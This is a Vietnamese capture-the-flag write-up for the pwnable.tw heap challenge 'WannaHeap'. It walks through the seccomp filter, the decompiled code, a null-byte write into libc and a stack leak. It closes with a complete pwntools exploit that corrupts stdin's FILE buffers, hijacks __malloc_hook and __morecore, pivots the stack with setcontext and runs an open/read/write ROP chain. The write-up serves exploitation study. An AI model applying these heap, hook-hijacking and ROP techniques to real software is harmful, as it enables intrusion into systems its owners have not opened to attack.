WannaHeap
tl;dr: Bớt map to another variable trong IDA lại :); Tìm gadgets hiệu quả hơn; Setcontext gadget để setup toàn bộ register.
Recon
Mitigation
$ pwn checksec wannaheap
[*] '/home/hungnt/pwnable.tw/wannaheap/wannaheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file wannaheap
wannaheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fac6b472980999249533bb0e42c6b48cb00a0f44, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.24
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.24/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.24.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x7ffff7800000
/home/hungnt/pwnable.tw/wannaheap/libc-4e5dfd832191073e18a09728f68666b6465eeacd.so
ld is at: 0x7ffff7c00000
/home/hungnt/pwnable.tw/wannaheap/ld-linux-x86-64.so.2
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesSeccomp
$ seccomp-tools dump ./wannaheap_patched
- Create data heap -
Size :1337
Content :ngtuonghung
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x05 0x00 0x00 0x0000000b goto 0025
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000014 if (A != writev) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0022
0021: 0x05 0x00 0x00 0x00000010 goto 0038
0022: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
0025: 0x05 0x00 0x00 0x00000000 goto 0026
0026: 0x20 0x00 0x00 0x00000020 A = count # read(fd, buf, count)
0027: 0x02 0x00 0x00 0x00000000 mem[0] = A
0028: 0x20 0x00 0x00 0x00000024 A = count >> 32 # read(fd, buf, count)
0029: 0x02 0x00 0x00 0x00000001 mem[1] = A
0030: 0x25 0x04 0x00 0x00000000 if (A > 0x0) goto 0035
0031: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0037
0032: 0x60 0x00 0x00 0x00000000 A = mem[0]
0033: 0x25 0x00 0x02 0x00001337 if (A <= 0x1337) goto 0036
0034: 0x60 0x00 0x00 0x00000001 A = mem[1]
0035: 0x06 0x00 0x00 0x00000000 return KILL
0036: 0x60 0x00 0x00 0x00000001 A = mem[1]
0037: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0038: 0x05 0x00 0x00 0x00000000 goto 0039
0039: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0040: 0x02 0x00 0x00 0x00000000 mem[0] = A
0041: 0x20 0x00 0x00 0x00000024 A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
0042: 0x02 0x00 0x00 0x00000001 mem[1] = A
0043: 0x60 0x00 0x00 0x00000000 A = mem[0]
0044: 0x54 0x00 0x00 0x00000004 A &= 0x4
0045: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 0047
0046: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0047: 0x06 0x00 0x00 0x00000000 return KILLVậy là challenge này mình ko đc execve spawn shell, ko đc bật executable để shellcode, ko đc fork, ko đc dup2, vậy nên mục tiêu của mình có thể cần phải ROP để ORW.
Và để ý thêm cái nữa là chỉ đc read <= 0x1337 bytes.
Code
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char choice; // al
setup(a1, a2, a3);
init_mmap();
create_heap_data();
init_sentinel();
sub_E40();
root = sentinel;
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_char();
if ( choice == 'E' )
{
puts("Don't give up\n");
Clear();
munmap(addr, 0x2000uLL);
exit(0);
}
if ( choice > 'E' )
break;
if ( choice == 'A' )
Allocate();
else
invalid:
puts("Invalid choice");
}
if ( choice == 'F' )
{
puts("Not implement !");
}
else
{
if ( choice != 'R' )
goto invalid;
Read();
}
}
}create_heap_data()
unsigned __int64 create_heap_data()
{
size_t v0; // r12
size_t v1; // rsi
size_t nbytes; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
nbytes = 0LL;
puts(" - Create data heap - ");
_printf_chk(1LL, "Size :");
_isoc99_scanf("%lu", &nbytes);
v0 = nbytes;
if ( nbytes <= 0x313370 )
{
v1 = nbytes;
}
else
{
do
{
puts("Too big or too small !");
_printf_chk(1LL, "Size :");
_isoc99_scanf("%lu", &nbytes);
v1 = nbytes;
}
while ( nbytes > 0x313370 );
}
data = (char *)calloc(1uLL, v1 + 1);
if ( !data )
{
puts("Error !");
exit(2);
}
_printf_chk(1LL, "Content :");
read_input(data, (unsigned int)nbytes);
data[v0] = 0;
IO_getc(stdin);
return __readfsqword(0x28u) ^ v4;
}Ở hàm này ban đầu mình thích đọc code cho gọn, nên mình đã Map to another variable trong IDA v0 và v1 thành luôn nbytes nên là mãi ko thấy bug gì cả :v.
Vấn đề là nằm ở v0, v0 được gán bằng nbytes ở lần input đầu, nhưng nếu nbytes vượt quá giới hạn, input lại nbytes nhưng ko động gì đến v0 mà lại gán vào v1 và sau đó calloc() size v1 + 1. Sau khi input data xong, null lại đc set ở vị trí data + v0 chứ ko phải v1.
Khi yêu cầu cấp phát vùng với kích thước cực lớn, chẳng hạn 0x30000 bytes, ptmalloc sẽ mmap một vùng riêng nằm giữa binary và libc, liền kề trên với libc.
Vậy nếu lần đầu tiên input nbytes quá giới hạn với giá trị thích hợp, sau đó input 0x313370 bytes để cấp phát, thì mình có thể ghi 1 null byte vào vị trí writable bất kỳ trong libc.
Allocate()
unsigned __int64 Allocate()
{
unsigned __int64 key; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
key = 0LL;
_printf_chk(1LL, "key :");
_isoc99_scanf("%lu", &key);
root = add_node(root, key);
return __readfsqword(0x28u) ^ v2;
}add_node()
Node *__fastcall add_node(Node *current_node, unsigned __int64 key)
{
Node *new_node; // rbp
char *dup_data; // rax
Node *child; // rdx
char data[24]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-20h]
v7 = __readfsqword(0x28u);
if ( sentinel != current_node )
{
if ( key <= current_node->key )
{
new_node = add_node(current_node->left, key);
current_node->left = new_node;
if ( new_node->priority > (unsigned int)current_node->priority )
{
current_node->left = new_node->right;
new_node->right = current_node;
return new_node;
}
}
else
{
new_node = add_node(current_node->right, key);
current_node->right = new_node;
if ( new_node->priority > (unsigned int)current_node->priority )
{
current_node->right = new_node->left;
new_node->left = current_node;
return new_node;
}
}
return current_node;
}
new_node = (Node *)allocate_node(0x28uLL);
if ( !new_node )
{
puts("Error !");
exit(23);
}
_printf_chk(1LL, "data :");
read_input(data, 0x18uLL);
dup_data = _strdup(data);
child = sentinel;
new_node->data = dup_data;
new_node->key = key;
new_node->right = child;
new_node->left = child;
new_node->priority = get_random();
return new_node;
}Ở đây data không đc clear và strdup() copy đến khi gặp null byte, nên có thể sử dụng để leak dữ liệu trên stack sau đó với hàm Read().
Read()
unsigned __int64 Read()
{
Node *current_node; // rax
unsigned __int64 key; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
key = 0LL;
_printf_chk(1LL, "key:");
_isoc99_scanf("%lu", &key);
for ( current_node = root; ; current_node = current_node->right )
{
if ( current_node == sentinel )
{
not_found:
_printf_chk(1LL, "Can't Not found : %lu\n", key);
goto return;
}
while ( key < current_node->key )
{
current_node = current_node->left;
if ( current_node == sentinel )
goto not_found;
}
if ( key <= current_node->key )
break;
}
_printf_chk(1LL, "data : %s\n", current_node->data);
return:
close(1);
return __readfsqword(0x28u) ^ v3;
}Read() là đóng fd 1, nên có thể cần chỉnh timing khi gửi data.
Solve
Challenge này mình đã đọc writeup, mình biết là làm như vậy, có các bước như này như kia, nhưng mình ko biết tại sao lại tìm ra đc như vậy. Nên mình sẽ cố gắng lập luận để đưa ra đc exploit cuối cùng.
Nhớ lại seccomp ở trên, mục tiêu cuối cùng của mình là cần thực thi đc ROP chain. Chỉ ghi được 1 byte null vào trong libc, vậy thì ghi vào đâu được? Mà ghi vào để được cái gì? Hay là ghi vào stdin để làm sao đó tiếp tục ghi đc nhiều hơn vào libc khi sử dụng scanf()?
Mình đã làm một số challenge với việc chỉnh sửa stdin để lấy đc AAW bằng cách ghi đè vào buf_base và buf_end:
// _IO_new_file_underflow (fileops.c)
count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);Flags thì ko cần chỉnh gì, bởi mặc định thì sẽ thoả mãn gọi đến đây. Vậy nếu mình ghi null byte vào LSB của buf_base thì sau đó mình có thể ghi đến 0x44 byte từ buf_end. Ghi đè tiếp vào buf_end với giá trị lớn hơn thì mình lại có thể ghi được nhiều byte hơn:

Ok giờ mình đã có thể overwrite rất nhiều thứ bắt đầu từ stdin buf base trong libc.
Để ROP đc thì mình cần đặt rsp về nơi mình kiểm soát, mình tìm xem có gadget mov rsp nào ko:

Bỏ đi các gadget liên quan đến rbp vì ko có buffer overflow nào để leave mà cũng làm gì ROP đc để pop rbp.

Và mình cũng cần phải tính đến có ret về sau nữa, nhìn qua chỗ này, mình thấy hữu ích nhất là:
48045: 48 8b a7 a0 00 00 00 mov rsp,QWORD PTR [rdi+0xa0]
48375: 48 8b a6 a0 00 00 00 mov rsp,QWORD PTR [rsi+0xa0]Là ở hàm setcontext và swapcontext. Mình sẽ thử nhắm vào setcontext.

Vậy đặt ra mục tiêu là phải kiểm soát đc rdi, và rdi nên là địa chỉ trong vùng của libc mà mình ghi đc. Mình tìm xem có gadget nào để đặt rdi và chuyển RIP đến setcontext ko? Mình tìm “mov rdi, X; …; …; call qword ptr [X + offset]”, với X là một register duy nhất, thì mình chỉ cần control 1 register là đc.
ROPgadget --binary ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so --all | grep -P 'mov rdi, (\w+)(?= ;).*call qword ptr \[\1'
Ok ở đây mình thấy có mov rdi, rax ; call qword ptr [RAX] có vẻ như là hợp lý, ở mấy challenge trước mình ghi đè hooks thì hay có instruction call đến rax, nên mình check xem có những hook nào ở đây. Mình ChatGPT thì có memalign_hook, realloc_hook, malloc_hook và morecore.
Binary chỉ dùng đến calloc() nên ghi đè malloc_hook với gadget đầu tiên là hợp lý.


Vì mình muốn rax đc set về nơi nào đó trong vùng ghi đc của libc, nên mình sẽ tìm xem gadget nào trong libc sử dụng đến các hooks này và đặt địa chỉ của symbol vào rax, rồi call [rax]. Mình muốn call [rax] vì nó giữ lại giá trị rax, chứ ko phải deference lần nữa rồi call rax.



Với mấy hook từ malloc hook trở lên mình ko thấy có gadget nào thỏa mãn cả. Nhưng với morecore thì có:


Với glibc bản mới thì các hooks này ko còn, nên cách suy luận này có thể chỉ áp dụng ở đây :/
Ok vậy kế hoạch của mình là, ghi gadget gọi morecore vào malloc hook, ghi gadget mov rdi, rax; call [rax+0x20], ghi setcontext vào rax+0x20, và rsp ở vị trí theo như setcontext để trỏ đến nơi mình ghi ROP, ORW là xong.
Mình lưu lại 2 commands này ở đây cho lần sau tiện dùng:
ropper -f ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so --search "syscall; ret"
ROPgadget --binary ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so | grep -E ": pop (rdi|rsi|rdx|rax) ; ret$"Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./wannaheap_patched', checksec=False)
libc = ELF('./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)
TERMINAL = 3
USE_PTY = True
GDB_ATTACH_DELAY = 1
match TERMINAL:
case 1:
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
case 2:
context.terminal = ["tmux", "split-window", "-h"]
case 3:
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
case _:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *__read_nocancel+5
b *0x155554e87550
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def conn():
if args.LOCAL:
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY)
else:
p = process([e.path])
sleep(0.25)
return p
else:
host = "chall.pwnable.tw"
port = 10305
return remote(host, port)
def Allocate(key, data):
sa(p, b'>', b'A')
sleep(0.25)
sa(p, b'key', key)
sleep(0.25)
sa(p, b'data', data)
sleep(0.25)
attempt = 0
allocated_size = 0x314000
max_size = 0x313370
buf_base_lsb = allocated_size + libc.symbols['_IO_2_1_stdin_'] + 40
while True:
sleep(0.5)
p = conn()
print("Overwrite _IO_buf_base LSB")
slan(p, b'Size', buf_base_lsb)
slan(p, b'Size', max_size)
sla(p, b'Content', b'A')
Allocate(b'\x01', b'A')
Allocate(b'\x02', A(9)) # Stack contains libc address on the second allocate
Allocate(b'\x03', b'A')
sleep(0.25)
print("Leaking libc")
sa(p, b'>', b'R')
sleep(0.25)
sa(p, b'key', b'\x02')
r = p.recvuntil(A(8), timeout=0.5)
if len(r) < 8:
print("Failed to leak libc")
p.close()
continue
libc.address = leak_bytes(rn(p, 6), 0x3c2641)
lg("libc base", libc.address)
sleep(0.25)
s(p, b'\xff') # To write more bytes
sleep(0.25)
s(p, p64(libc.symbols['_IO_2_1_stdin_'] + 0x1337)) # To write even more bytes
attach(p)
stdin = flat(
libc.symbols['_IO_2_1_stdin_'] + 0x100, # _IO_buf_end
0,
0,
0,
0,
0,
0,
0xffffffffffffffff, # _old_offset
0,
libc.symbols['_IO_stdfile_0_lock'], # _lock
0xffffffffffffffff, # _offset
0,
libc.symbols['_IO_wide_data_0'], # _wide_data
0,
0,
0,
0xffffffff, # _mode
0,
0,
libc.symbols['__GI__IO_file_jumps'], # vtable
)
mov_rdi_rax_call_dword_rax = libc.address + 0x000000000006ebbb
morecore = flat(
mov_rdi_rax_call_dword_rax, # __morecore
libc.symbols['print_and_abort'],
libc.address + 0x18c04e,
libc.address + 0x18c04e,
)
new_rsp = libc.symbols['_IO_wide_data_0'] + 8
nop_ret = libc.address + 0x000000000017258f
setcontext = flat(
libc.symbols['setcontext'] + 46, # idk why 53 doesn't work???? omg
0,
0,
1,
2,
0,
0,
0xffffffffffffffff,
libc.symbols['__libc_utmp_unknown_functions'],
libc.symbols['default_file_name'],
p64(libc.symbols['_nl_C_LC_CTYPE']) * 6,
new_rsp, # rsp
nop_ret, # rcx
)
pop_rax_ret = libc.address + 0x000000000003a998
pop_rdi_ret = libc.address + 0x000000000001fd7a
pop_rsi_ret = libc.address + 0x000000000001fcbd
pop_rdx_ret = libc.address + 0x0000000000001b92
syscall = libc.address + 0x00000000000bc765
flag_path = new_rsp + 0x100
flag_addr = flag_path + 0x20
orw_rop = flat(
0, # padding
# open("/home/wannaheap/flag", 0, 0)
pop_rax_ret, 2,
pop_rdi_ret, flag_path,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall,
# read(1, flag_addr, 0x100)
pop_rax_ret, 0,
pop_rdi_ret, 1,
pop_rsi_ret, flag_addr,
pop_rdx_ret, 0x100,
syscall,
# write(fd=0, flag_addr, 0x100)
pop_rax_ret, 1,
pop_rdi_ret, 0, # idk why fd 2 doesn't work???
pop_rsi_ret, flag_addr,
pop_rdx_ret, 0x100,
syscall,
# exit(0)
pop_rax_ret, 0x3c,
pop_rdi_ret, 0,
syscall,
b'/home/wannaheap/flag\0'
).ljust(0x130, b'\0')
final_payload = flat(
stdin,
orw_rop,
libc.symbols['__GI__IO_wfile_jumps'],
0,
libc.symbols['memalign_hook_ini'],
libc.symbols['realloc_hook_ini'],
libc.symbols['sysmalloc'] + 1521, # __malloc_hook
z(0x898),
morecore,
setcontext
)
sleep(0.25)
try:
print("Sending final payload", len(final_payload), "bytes")
s(p, final_payload)
sleep(0.25)
s(p, b'A')
sleep(0.25)
s(p, b'\x07')
print(f'Flag: {ru(p, b'}').strip().decode()}')
p.close()
break
except:
print("ROP failed")
p.close()
continue